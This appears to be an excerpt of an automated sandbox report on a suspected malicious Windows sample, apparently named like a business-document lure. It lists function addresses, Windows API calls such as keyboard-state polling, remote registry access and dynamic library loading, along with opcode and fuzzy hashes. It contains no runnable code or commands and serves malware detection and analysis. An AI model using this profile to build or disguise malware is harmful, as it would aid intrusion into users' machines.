                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CreateHandle$FilePipe
                                                • String ID: nul
                                                • API String ID: 4209266947-2873401336
                                                • Opcode ID: f9cb8475f241382c16d5aadddd0700f9675639272c444332fa9ef89afcc8a289
                                                • Instruction ID: 3b01c1f70c13c498d8eeb72b27822cb02494a3153e71f62e99fe250ef6acbe00
                                                • Opcode Fuzzy Hash: f9cb8475f241382c16d5aadddd0700f9675639272c444332fa9ef89afcc8a289
                                                • Instruction Fuzzy Hash: 1821A175604386ABDB20AF6A9C04AAAB7A8AF55730F240619FCF0E32D0D771D851CB70
                                                Function 00DEAEAB Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00DEAEBF
                                                • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00DEAF13
                                                • __swprintf.LIBCMT ref: 00DEAF2C
                                                • SetErrorMode.KERNEL32(00000000,00000001,00000000,00E0F910), ref: 00DEAF6A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorMode$InformationVolume__swprintf
                                                • String ID: %lu
                                                • API String ID: 3164766367-685833217
                                                • Opcode ID: 9a2afc31f5c96bfb47c492bb9d5b7639bf0d8d5d25e15ac4859e14ca2a16906f
                                                • Instruction ID: 5a4b9c7ffa8aab272455f0bf468eec249b45c01823311167cfbc82b8480d8256
                                                • Opcode Fuzzy Hash: 9a2afc31f5c96bfb47c492bb9d5b7639bf0d8d5d25e15ac4859e14ca2a16906f
                                                • Instruction Fuzzy Hash: C7218334A00209AFCB10EF65CC85DAEBBB8EF89704B044069F909EB251DB71EA45CB71
                                                Function 00DDA52F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                  • Part of subcall function 00DDA37C: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00DDA399
                                                  • Part of subcall function 00DDA37C: GetWindowThreadProcessId.USER32(?,00000000), ref: 00DDA3AC
                                                  • Part of subcall function 00DDA37C: GetCurrentThreadId.KERNEL32 ref: 00DDA3B3
                                                  • Part of subcall function 00DDA37C: AttachThreadInput.USER32(00000000), ref: 00DDA3BA
                                                • GetFocus.USER32 ref: 00DDA554
                                                  • Part of subcall function 00DDA3C5: GetParent.USER32(?), ref: 00DDA3D3
                                                • GetClassNameW.USER32(?,?,00000100), ref: 00DDA59D
                                                • EnumChildWindows.USER32(?,00DDA615), ref: 00DDA5C5
                                                • __swprintf.LIBCMT ref: 00DDA5DF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
                                                • String ID: %s%d
                                                • API String ID: 1941087503-1110647743
                                                • Opcode ID: 5ce363e6f3e8e7fca61ade7506410d0731819b6b55860670bf809f2489968d2e
                                                • Instruction ID: ffaa65532d6d9052195ba99e98d4bc5e63100c20e615e0a18af95869c08fa54f
                                                • Opcode Fuzzy Hash: 5ce363e6f3e8e7fca61ade7506410d0731819b6b55860670bf809f2489968d2e
                                                • Instruction Fuzzy Hash: 2711D271200208BBCF207FA8DC85FEA377DEF49700F048076F908AA252CA7599858B75
                                                Function 00DE2017 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?), ref: 00DE2048
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper
                                                • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                • API String ID: 3964851224-769500911
                                                • Opcode ID: ff38ea6993a25946a0094db12bf4ac76cf4d0f732ab372d288eda39972623dcf
                                                • Instruction ID: 45097c43a0ddf7d21efd3098c4ca1301aba378c4504cc168089164e7559f11e9
                                                • Opcode Fuzzy Hash: ff38ea6993a25946a0094db12bf4ac76cf4d0f732ab372d288eda39972623dcf
                                                • Instruction Fuzzy Hash: 3E116D71900119CFCF00EFA5D8814FEBBB4FF5A304F148468D895A7292EB32A90ACB71
                                                Function 00DFEE69 Relevance: 7.7, APIs: 5, Instructions: 247COMMON
                                                Download Yara Rule
                                                APIs
                                                • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00DFEF1B
                                                • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00DFEF4B
                                                • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00DFF07E
                                                • CloseHandle.KERNEL32(?), ref: 00DFF0FF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                • String ID:
                                                • API String ID: 2364364464-0
                                                • Opcode ID: 9b6fc16eea586fcd5d11d5e87dbc758450cc0fc16e4a266d36e9c94b989e99a4
                                                • Instruction ID: 1a8e29716744bbbcd12bbf9c4d82e11844a346ad13e25001aab33b4cd9567151
                                                • Opcode Fuzzy Hash: 9b6fc16eea586fcd5d11d5e87dbc758450cc0fc16e4a266d36e9c94b989e99a4
                                                • Instruction Fuzzy Hash: 998154716043019FD724EF24C896F3AB7E5EF48710F19881DF696DB292DB71AC418B61
                                                Function 00E002C2 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                  • Part of subcall function 00E010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E00038,?,?), ref: 00E010BC
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E00388
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E003C7
                                                • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00E0040E
                                                • RegCloseKey.ADVAPI32(?,?), ref: 00E0043A
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00E00447
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
                                                • String ID:
                                                • API String ID: 3440857362-0
                                                • Opcode ID: 22f2ec1cfe0c80d41e87a9b2d7a8fe7bcff5aa960d5b78672eeccd0b3cfd5ffc
                                                • Instruction ID: a86d3aaacef78ec41b6298734c2998277cc48e8b4120d53e4cafda995fb0268e
                                                • Opcode Fuzzy Hash: 22f2ec1cfe0c80d41e87a9b2d7a8fe7bcff5aa960d5b78672eeccd0b3cfd5ffc
                                                • Instruction Fuzzy Hash: BC514731208204AFD714EB64DC81F6EB7E8FF88704F44992EF595A72A1DB35E944CB62
                                                Function 00DFDBDC Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                • LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00DFDC3B
                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00DFDCBE
                                                • GetProcAddress.KERNEL32(00000000,00000000), ref: 00DFDCDA
                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00DFDD1B
                                                • FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00DFDD35
                                                  • Part of subcall function 00D85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00DE7B20,?,?,00000000), ref: 00D85B8C
                                                  • Part of subcall function 00D85B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00DE7B20,?,?,00000000,?,?), ref: 00D85BB0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                                • String ID:
                                                • API String ID: 327935632-0
                                                • Opcode ID: 7cd9ba2070e8fdc20009e37ba14780ac7370669eab3da9b258a0621f015d4797
                                                • Instruction ID: 5a9663e9101b48f4a1dbe18abfb02c94872bb728841071054b2f8a07e165aa7c
                                                • Opcode Fuzzy Hash: 7cd9ba2070e8fdc20009e37ba14780ac7370669eab3da9b258a0621f015d4797
                                                • Instruction Fuzzy Hash: 73511675A002099FCB00EF68C8949ADB7F6EF59310B19C069E959AB312DB31ED45CFA1
                                                Function 00DEE7DC Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00DEE88A
                                                • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00DEE8B3
                                                • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00DEE8F2
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00DEE917
                                                • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00DEE91F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                • String ID:
                                                • API String ID: 1389676194-0
                                                • Opcode ID: 64e9843cd176d7cfdcbfba9a32d9057c050e978c8f8a18d9b03034e14548af03
                                                • Instruction ID: 0d5b4bed1d456f01b9ee0f712b0a91a9fead0cb9e896470688dd066b76929213
                                                • Opcode Fuzzy Hash: 64e9843cd176d7cfdcbfba9a32d9057c050e978c8f8a18d9b03034e14548af03
                                                • Instruction Fuzzy Hash: 4F510A35A00205DFCB15EF65C9919AEBBF5EF49310B188099E849AB362CB31ED51DF70
                                                Function 00E0A2C5 Relevance: 7.6, APIs: 5, Instructions: 130COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 694f792dfd93ba7c2d577069cfc074d9c2a2271b5905fe1c3bcff4816d620467
                                                • Instruction ID: 1c7af86a85a200a7d4656c774775f280f96667f86da28783a70896d91d1329fc
                                                • Opcode Fuzzy Hash: 694f792dfd93ba7c2d577069cfc074d9c2a2271b5905fe1c3bcff4816d620467
                                                • Instruction Fuzzy Hash: A441EF39900308AFC720DB28CC48FEDBBA5EB09314F185275E865B72E0C774ADD18A52
                                                Function 00D82344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCursorPos.USER32(?), ref: 00D82357
                                                • ScreenToClient.USER32(00E467B0,?), ref: 00D82374
                                                • GetAsyncKeyState.USER32(00000001), ref: 00D82399
                                                • GetAsyncKeyState.USER32(00000002), ref: 00D823A7
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AsyncState$ClientCursorScreen
                                                • String ID:
                                                • API String ID: 4210589936-0
                                                • Opcode ID: c5cbeb5ffc0e0f05504583d2dfba56dd41a12313b3a4ec8b1a855607afa161cb
                                                • Instruction ID: fa171dd6a8fd8e838c4ede6ca397a0547fedb8aad010489666f08fecb549138a
                                                • Opcode Fuzzy Hash: c5cbeb5ffc0e0f05504583d2dfba56dd41a12313b3a4ec8b1a855607afa161cb
                                                • Instruction Fuzzy Hash: 2C41AF35904119FFDF199F68CC44AFDBBB4FB05320F20431AF869A2290C7359994DBA1
                                                Function 00DD6920 Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00DD695D
                                                • TranslateAcceleratorW.USER32(?,?,?), ref: 00DD69A9
                                                • TranslateMessage.USER32(?), ref: 00DD69D2
                                                • DispatchMessageW.USER32(?), ref: 00DD69DC
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00DD69EB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Message$PeekTranslate$AcceleratorDispatch
                                                • String ID:
                                                • API String ID: 2108273632-0
                                                • Opcode ID: 17c674f34f55878f3c104c94838c490e6d867eee711184b0b697581c954f800d
                                                • Instruction ID: 6be08176ab103dee63b12117341f9c71d4387b7cf3ae1521cc1b38ee7aac72f5
                                                • Opcode Fuzzy Hash: 17c674f34f55878f3c104c94838c490e6d867eee711184b0b697581c954f800d
                                                • Instruction Fuzzy Hash: 4231D671900246AFDB20CFB59C44BB67BACAB12304F144167E451E2261D775E88ADBF1
                                                Function 00DD8F01 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(?,?), ref: 00DD8F12
                                                • PostMessageW.USER32(?,00000201,00000001), ref: 00DD8FBC
                                                • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00DD8FC4
                                                • PostMessageW.USER32(?,00000202,00000000), ref: 00DD8FD2
                                                • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00DD8FDA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessagePostSleep$RectWindow
                                                • String ID:
                                                • API String ID: 3382505437-0
                                                • Opcode ID: cf2f43119473df939715e86237c4be1d2f7f2e0ad73e98bb18555c484886bd8d
                                                • Instruction ID: d26d2da57c03b910686a162b74bf56280b8e13a4e0712194776f9e27645bf8e9
                                                • Opcode Fuzzy Hash: cf2f43119473df939715e86237c4be1d2f7f2e0ad73e98bb18555c484886bd8d
                                                • Instruction Fuzzy Hash: D331DF71900219EFDB10CF78D948A9E7BB6EF04315F10422AF924E72D0C7B09964EBA1
                                                Function 00DDB6AF Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • IsWindowVisible.USER32(?), ref: 00DDB6C7
                                                • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00DDB6E4
                                                • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00DDB71C
                                                • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00DDB742
                                                • _wcsstr.LIBCMT ref: 00DDB74C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                • String ID:
                                                • API String ID: 3902887630-0
                                                • Opcode ID: 4e300681bfe5527237bb9595ced5cdb3bdca1950b8313e25430079e35a5599d8
                                                • Instruction ID: de8bf535bf5c3c6fa31dafb00f62f1f20dccfd71f7e3d97c5e26071ed66cb3d7
                                                • Opcode Fuzzy Hash: 4e300681bfe5527237bb9595ced5cdb3bdca1950b8313e25430079e35a5599d8
                                                • Instruction Fuzzy Hash: ED21D731604204FFEB255B39AC49E7B7B98DF4A760F15402BF805DA2A1EB62DC4196B0
                                                Function 00E0B405 Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D82612: GetWindowLongW.USER32(?,000000EB), ref: 00D82623
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00E0B44C
                                                • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00E0B471
                                                • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00E0B489
                                                • GetSystemMetrics.USER32(00000004), ref: 00E0B4B2
                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00DF1184,00000000), ref: 00E0B4D0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$Long$MetricsSystem
                                                • String ID:
                                                • API String ID: 2294984445-0
                                                • Opcode ID: cbf92e40bf21d2873299bdfd35252e6dd040c551269b32bbcf3e04ec63e9e48b
                                                • Instruction ID: d71c3e2f04ba85f7f1ea66c4f46f93d73aedaa0f540cfd8c368fc1ad0d6349bf
                                                • Opcode Fuzzy Hash: cbf92e40bf21d2873299bdfd35252e6dd040c551269b32bbcf3e04ec63e9e48b
                                                • Instruction Fuzzy Hash: 8121B171510251AFCB208F39CC04A6A37A4FB05724F115738F836E21E1F7309EA0DB90
                                                Function 00DD97E9 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00DD9802
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00DD9834
                                                • __itow.LIBCMT ref: 00DD984C
                                                • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00DD9874
                                                • __itow.LIBCMT ref: 00DD9885
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$__itow$_memmove
                                                • String ID:
                                                • API String ID: 2983881199-0
                                                • Opcode ID: c49ba27b2b3fde5326a5535a171c5f98f5995ecbaf82b7bcaa05bf7269654039
                                                • Instruction ID: 20a23b1f54efb84954fc345437da806fefbdc68b1a8d0f9ab6650646b760fb93
                                                • Opcode Fuzzy Hash: c49ba27b2b3fde5326a5535a171c5f98f5995ecbaf82b7bcaa05bf7269654039
